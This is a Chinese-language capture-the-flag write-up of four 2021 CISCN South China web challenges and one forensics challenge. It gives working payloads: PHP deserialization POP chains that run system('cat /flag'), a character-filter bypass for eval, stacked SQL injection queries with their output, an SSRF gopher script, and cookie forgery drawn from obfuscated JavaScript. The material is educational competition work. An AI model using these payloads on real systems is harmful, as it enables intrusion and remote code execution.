2021CISCN 华南赛区WEB wp
CISCN 华南区域赛
太菜了 我躺平了
easy_seri
<?php
error_reporting(0);
highlight_file(__FILE__);
class Test{
public $public_key;
public $private_key;
function __wakeup(){
if($public_key !== $private_key)
{
die("You can't");
}
}
function getHint()
{
echo file_get_contents('./demo.php');
}
}
$a = $_GET['a'];
if(strpos($a,'key') !== false){
die("No!!!");
}
else
{
unserialize($a)();
}
?>
反序列化，16进制绕strpos，然后绕wakeup，数组执行getHint（因为unserialize后面还有个括号）
$test = new Test();
$test->public_key = 1;
$test->private_key = 2;
$a = [$test, 'getHint'];
echo serialize($a);
http://172.35.22.28/?a=a:2:{i:0;O:4:%22Test%22:2:{S:10:%22public_\6bey%22;s:1:%221%22;S:11:%22private_\6bey%22;s:1:%222%22;}i:1;s:7:%22getHint%22;}
看其他师傅的wp用静态方法调用也可以
a=s:13:"Test::getHint";
然后得到demo.php
<?php
class Fake{
public $firm;
public $test;
public function __set($firm,$test){
$test = "No,You can't";
$firm = unserialize($firm);
call_user_func($firm,$test);
}
}
class Temp{
public $pri;
public $fin=1;
public function __destruct()
{
$a=$this->action;
$this->pri->$a = $this->fin;
}
}
class OwO{
public $fc;
public $args;
function run()
{
return ($this->fc)($this->args);
}
}
$d = $_GET['poc'];
unserialize($d);
?>
找pop链
$a = new OwO();
$a -> fc = 'system';
$a -> args = 'cat /flag';
$xx = [$a, 'run'];
$b = serialize($xx);
$c = new Fake();
$d = new Temp();
$d -> pri = $c;
$d -> action = $b;
echo serialize($d);
http://172.35.22.28/demo.php?poc=O:4:%22Temp%22:3:{s:3:%22pri%22;O:4:%22Fake%22:2:{s:4:%22firm%22;N;s:4:%22test%22;N;}s:3:%22fin%22;i:1;s:6:%22action%22;s:87:%22a:2:{i:0;O:3:%22OwO%22:2:{s:2:%22fc%22;s:6:%22system%22;s:4:%22args%22;s:9:%22cat%20/flag%22;}i:1;s:3:%22run%22;}%22;}
magicchar
<?php
error_reporting(0);
include'flag.php';
function Magic($str){
for($i=0; $i<=strlen($str)-1; $i++) {
if ((ord($str[$i])<32) or (ord($str[$i])>126)) {
die('sorry');
exit;
}
}
$blklst = ['[A-VX-Za-z]',' ','\t','\r','\n','\'','""','`','\[','\]','\$','\\','\^','~'];
foreach ($blklst as $blkitem) {
if (preg_match('/' . $blkitem . '/m', $str)) {
die('out');
exit;
}
}
}
if(!isset($_GET['yell'])) {
show_source(__FILE__);
} else {
$str = $_GET['yell'];
Magic($str);
ob_start();
$res = eval("echo " . $str . ";");
$out = ob_get_contents();
ob_end_clean();
if ($out === "Wa4nn") {
echo $flag;
} else {
echo htmlspecialchars($out, ENT_QUOTES);
}
}
?>
还是那种无数字字母题的套路，用没ban的字符去拼a和n
str = r"W!@#%&*()_+<>?,.;:-{}/0123456789"
for i in range(0, len(str)):
for j in range(0, len(str)):
a = ord(str[i]) & ord(str[j])
if chr(a) == 'n':
print(str[i] + ' & ' + str[j] + ' is ' + chr(a))
b = ord(str[i]) | ord(str[j])
if chr(b) == 'n':
print(str[i] + ' | ' + str[j] + ' is ' + chr(b))
@ | . is n
. | @ is n
! | @ is a
@ | ! is a
所以拼出来是$str = 'W.("!"|"@").(4).("@"|".").("@"|".")';
really_admin
虎符杯原题 《慢慢做》的基础上还ban了rename，等一手wp
一些结构
#登录
129581926211651571912466741651878684928
#数据库
1';show databases;#
array(3) {
[0]=>
array(1) {
["Database"]=>
string(3) "ctf"
}
[1]=>
array(1) {
["Database"]=>
string(4) "ctf2"
}
[2]=>
array(1) {
["Database"]=>
string(18) "information_schema"
}
}
#表
username=';show tables;#&password=1
array(2) {
[0]=>
array(1) {
["Tables_in_ctf2"]=>
string(10) "fake_admin"
}
[1]=>
array(1) {
["Tables_in_ctf2"]=>
string(27) "real_admin_here_do_you_find"
}
}
#fake_admin表
username=1';desc `fake_admin`;#&password=1
array(1) {
[0]=>
array(3) {
["id"]=>
string(1) "1"
["username"]=>
string(10) "fake_admin"
["fake_password"]=>
string(13) "fake_password"
}
}
#fake_admin表详细结构
username=1';desc fake_admin;#&password=1
array(3) {
[0]=>
array(6) {
["Field"]=>
string(2) "id"
["Type"]=>
string(7) "int(11)"
["Null"]=>
string(3) "YES"
["Key"]=>
string(0) ""
["Default"]=>
NULL
["Extra"]=>
string(0) ""
}
[1]=>
array(6) {
["Field"]=>
string(8) "username"
["Type"]=>
string(4) "text"
["Null"]=>
string(3) "YES"
["Key"]=>
string(0) ""
["Default"]=>
NULL
["Extra"]=>
string(0) ""
}
[2]=>
array(6) {
["Field"]=>
string(13) "fake_password"
["Type"]=>
string(4) "text"
["Null"]=>
string(3) "YES"
["Key"]=>
string(0) ""
["Default"]=>
NULL
["Extra"]=>
string(0) ""
}
}
#real_admin_here_do_you_find表
username=1';show create table real_admin_here_do_you_find;#&password=1
用的脚本
import requests
from urllib.parse import quote
cmd="username=1';use ctf2;create procedure `real_admin_here_do_you_find`(out string username(1024), out string password(1024));#&password=1"
url="http://172.35.22.30/"
sess=requests.session()
r1=sess.get(url+'?password=129581926211651571912466741651878684928')
data='''POST /admin.php HTTP/1.1
Host: 172.35.22.30
Content-Type:application/x-www-form-urlencoded
Content-Length: '''+str(len(cmd))+'''
'''+cmd+'''
'''
data=quote(data)
data=data.replace('%0a','%0d%0a')
print(url+"/ssrf.php?way=gopher://127.0.0.1:80/_"+quote(data))
r2=sess.get(url+"/ssrf.php?way=gopher://127.0.0.1:80/_"+quote(data))
print(r2.text)
后面看wp库没改，直接拿原题账户名密码登录拿cookie，我只能说我吐了
login
source里面找到重置密码里的reset. js，美化一下
var _0x2080 = [';\x20path=', '20020', 'click', '613aUgSFW', '3SAEYel', 'getTime', 'status', '(^|&)', 'resetCode', 'reset\x20error!', 'search', 'username', '/reset.php', 'toGMTString', '4643XbPscq', '110490vewBbv', 'substr', 'trim', ';\x20secure', '=([^&]*)(&|$)', '/reset.html', '125003cVvFwO', 'i3uperAdmin', '29McXNot', '11UWIoUd', '606tyixnX', ';\x20expires=', 'isSuperadmin', 'setTime', 'password', 'POST', '.forget-form\x20button[type=submit]', '783835ibZbfF', '790ahpXiE', 'location', '20010', 'url', '#password', 'ajax', 'preventDefault', '#resetCode', '326914FPIfpA', '111guOwYa', 'val'];
(function (_0x4f02d3, _0x548f46) {
var _0x59634c = _0x4c63;
while (!![]) {
try {
var _0x5ee11a = parseInt(_0x59634c(0x16f)) + parseInt(_0x59634c(0x168)) * parseInt(_0x59634c(0x166)) + parseInt(_0x59634c(0x178)) + parseInt(_0x59634c(0x17e)) * parseInt(_0x59634c(0x170)) + -parseInt(_0x59634c(0x179)) * -parseInt(_0x59634c(0x15d)) + parseInt(_0x59634c(0x15e)) * -parseInt(_0x59634c(0x17f)) + parseInt(_0x59634c(0x164)) * -parseInt(_0x59634c(0x167));
if (_0x5ee11a === _0x548f46) break;
else _0x4f02d3['push'](_0x4f02d3['shift']());
} catch (_0x10deb7) {
_0x4f02d3['push'](_0x4f02d3['shift']());
}
}
}(_0x2080, 0x66e57));
function _0x4c63(_0x43ef06, _0x1cd342) {
_0x43ef06 = _0x43ef06 - 0x15c;
var _0x20803a = _0x2080[_0x43ef06];
return _0x20803a;
}
function initReset() {
var _0x1ec24d = _0x4c63;
$(_0x1ec24d(0x16e))[_0x1ec24d(0x17d)](function (_0x14125e) {
var _0x40984e = _0x1ec24d;
let _0x4e6bb8 = {};
_0x4e6bb8[_0x40984e(0x186)] = $[_0x40984e(0x160)]($('#account')[_0x40984e(0x17a)]()), _0x4e6bb8[_0x40984e(0x16c)] = $[_0x40984e(0x160)]($(_0x40984e(0x174))[_0x40984e(0x17a)]()), _0x4e6bb8[_0x40984e(0x183)] = $[_0x40984e(0x160)]($(_0x40984e(0x177))['val']()), _0x14125e[_0x40984e(0x176)](), $[_0x40984e(0x175)]({
'url': _0x40984e(0x187),
'type': _0x40984e(0x16d),
'data': _0x4e6bb8,
'success': function (_0x5e89aa) {
var _0x1ea9ce = _0x40984e;
if (_0x5e89aa[_0x1ea9ce(0x181)] == !![] && _0x5e89aa['code'] == _0x1ea9ce(0x17c)) setCookie('user', _0x5e89aa['user']);
else _0x5e89aa[_0x1ea9ce(0x181)] == !![] && _0x5e89aa['code'] == _0x1ea9ce(0x172) ? (setCookie(_0x1ea9ce(0x16a), _0x1ea9ce(0x165)), confirm('you\x20are\x20super,\x20change\x20it\x20again!') && (window['location'] = _0x1ea9ce(0x163))) : alert(_0x1ea9ce(0x184));
window[_0x1ea9ce(0x171)] = _0x5e89aa[_0x1ea9ce(0x173)];
}
});
});
}
var getUrlParam = function (_0x2cb7b6) {
var _0x245579 = _0x4c63,
_0xeb22a7 = new RegExp(_0x245579(0x182) + _0x2cb7b6 + _0x245579(0x162)),
_0x337c56 = window[_0x245579(0x171)][_0x245579(0x185)][_0x245579(0x15f)](0x1)['match'](_0xeb22a7);
if (_0x337c56 != null) return _0x337c56[0x2];
return null;
},
setCookie = function (_0x29c615, _0x2f3e2e, _0x1c78b1, _0x5aad83, _0x5a33c1, _0x4ab9cc) {
var _0x37a648 = _0x4c63,
_0x3b17bb, _0x5ee6f4 = escape(_0x29c615) + '=' + escape(_0x2f3e2e);
_0x3b17bb = new Date(), _0x3b17bb[_0x37a648(0x16b)](_0x3b17bb[_0x37a648(0x180)]() + _0x1c78b1), _0x5ee6f4 += _0x5aad83 ? ';\x20domain=' + _0x5aad83 : '', _0x5ee6f4 += _0x5a33c1 ? _0x37a648(0x17b) + _0x5a33c1 : '', _0x5ee6f4 += _0x1c78b1 ? _0x37a648(0x169) + _0x3b17bb[_0x37a648(0x15c)]() : '', _0x5ee6f4 += _0x4ab9cc ? _0x37a648(0x161) : '', document['cookie'] = _0x5ee6f4;
};
做了js混淆，变量名比较恶心
重点看initReset()这个函数，登录success那里有user和管理员的setCookie
跟着函数走一遍，把initReset()放上去，然后把serCookie的参数放上去
(setCookie(_0x1ea9ce(0x16a), _0x1ea9ce(0x165))
得到一对cookie的值，带着这个值去改密码就行了。
isSuperadmin
i3uperAdmin
然后到reset.php
最后用修改后的账号密码登录即可
easy_Forensics
有个网络连接pid1716
看pstree ppid1716的几个
rundll32很可疑
找到了后面的一半flag
前面一半找了很久，文件内存信息都dump出来看了也没发现
然后就试了下正则嗯翻，翻到了
也就第80个，运气好
